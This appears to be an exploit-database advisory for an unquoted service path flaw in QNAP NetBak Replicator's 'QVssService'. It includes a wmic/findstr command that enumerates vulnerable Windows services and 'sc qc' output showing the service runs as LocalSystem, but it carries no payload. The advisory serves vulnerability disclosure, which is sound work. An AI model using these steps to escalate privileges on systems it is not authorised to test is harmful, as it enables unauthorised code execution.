QNAP NetBak Replicator 4.5.6.0607 Unquoted Service Path

# Exploit Title: QNAP NetBak Replicator 4.5.6.0607 - 'QVssService' Unquoted Service Path
# Discovery Date: 2019-11-05
# Exploit Author: Ivan Marmolejo
# Vendor Homepage: https://www.qnap.com/en/ 
# Software Link: https://www.qnap.com/en/download
# Version: 4.5.6.0607
# Vulnerability Type: Local
# Tested on: Windows XP Profesional Español SP3

#Exploit
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Summary:  

QNAP NetBak Replicator provides several options for copying files from your 

Windows computer to your NAS. By simplifying the backup 

process, NetBak Replicator helps ensure that your files are safe even when 

your computer becomes unavailable.

Description:    

The application suffers from an unquoted search path issue impacting the 

service 'QVssService'. This could potentially allow an 

authorized but non-privileged local user to execute arbitrary code with 

elevated privileges on the system. A successful attempt would require 

the local user to be able to insert their code in the system root path 

undetected by the OS or other security applications where it could 

potentially be executed during application startup or reboot. If successful, 

the local user’s code would execute with the elevated privileges

of the application.

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Step to discover the unquoted Service:

 
C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """


QNAP Vss Service            QVssService               C:\Archivos de programa\QNAP\NetBak\QVssService.exe                  Auto


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Service info:


C:\Users\user>sc qc QVssService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: QVssService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Archivos de programa\QNAP\NetBak\QVssService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : QNAP Vss Service
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

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